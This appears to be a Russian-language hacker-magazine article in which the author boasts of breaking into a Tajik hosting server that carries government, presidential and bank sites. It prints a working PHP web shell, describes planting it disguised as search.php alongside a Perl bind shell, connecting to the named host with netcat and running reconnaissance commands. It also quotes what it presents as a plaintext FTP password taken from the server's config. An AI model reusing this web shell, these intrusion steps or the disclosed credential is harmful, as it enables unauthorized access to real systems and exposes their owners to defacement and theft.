Точикистонский косяк MorpheuS (uin: 371200) Хакер, номер #084, стр. 084-050-4 <? echo "<pre>"; passthru($_GET['cmd']); echo "</pre>"; ?> Выбрав неприметную директорию на сервере, я залил свой скрипт под именем search.php, чтобы тот не сильно выделялся среди других файлов. Сюда же я залил и bind.pl - бинд-шелл на перле со стандартными настройками бинда на 32767-ом порту. Забиндив для себя порт, со своего веб-шелла командой perl bind.pl, я приконнектился netcat'ом к серву: nc.exe www.nbt.tj 32767 Играем дальше. Первым делом я узнал, кто еще пользуется системой в данный момент, и последние подключения: who; last -10; К счастью, админов на месте не было, и я работал с машиной один. Дальше я выяснил свои права и операционку, установленную на сервере: id; uname -a; Оказалось, что я работал из-под юзера apache, а сервачок крутился под управлением gentoo c ядром 2.6.11. К сожалению, рута здесь взять не получится, хотя чего еще я ожидал здесь увидеть? Оставшись без рутового шелла, я принялся исследовать сервер дальше. Просмотрев папку htdocs, я с удивлением обнаружил, что на этом сервачке хостится еще около 70 сайтов, среди которых были замечены проекты Министерства Иностранных Дел, Министерства Финансов, Сайт Президента, еще несколько банков, интернет-провайдер, телевидение и газета. В общем, весь Таджикистанский хай-тек поместился на одном сервере, который из-за админов-наркоманов вскоре позволил мне получить полный доступ ко всем сайтам, включая ресурс Президента республики Точикистон :). Я вот до сих пор сдерживаю себя от того, чтобы поменять фотографию Президента на свою :). [по порядку] Однако не будем забегать вперед, расскажу все по порядку. Размышляя над тем, как лихо мне удалось получить доступ к FTP, я пришел к выводу, что для каждого сайта сделана своя учетная запись и каждому ресурсу позволено юзать FTP. Вспомнив логи nmap, я узнал, что на серве установлен ProFTPD. Я решил найти конфиги этого сервиса и посмотреть, какие учетные записи там есть. Для этого я выполнил следующую команду: # find / -type f -name "proftpd*"; Среди найденных файлов, есть то, что мне нужно, - это файлик /etc/proftpd/proftpd.conf. Просмотрев его, я просто обомлел. Никогда еще такого не видел. В заголовке каждого блочка с описанием ftp-пользователя в комментарии был прописан ПАРОЛЬ этого юзера! Например, описание логина с говорящим названием president.tj выглядело так: # president.tj # p:SomonTj User president Group users MaxClients 10 AnonRequirePassword on RequireValidShell off AllowOverwrite on Получив доступ ко всем ftp-аккаунта на сервере, я решил продолжить свои изыскания. Покопавшись в различных скриптах, я выудил несколько mysql-аккаунтов. Однако, вопреки ожиданиям, в базах данных я не нашел никаких сведений о маршрутах поставок гашиша, оружия и перевозки иммигрантов; все, что было в базе, - это тексты публикаций и прочий мусор. Хотя в БД одного банка, я обнаружил нечто похожее на систему авторизации. На их сайте же, я прочитал, что они вскоре планируют открыть сервис онлайн-банкинга. Ну вот, сервис еще не открыли, а доступ уже есть :). |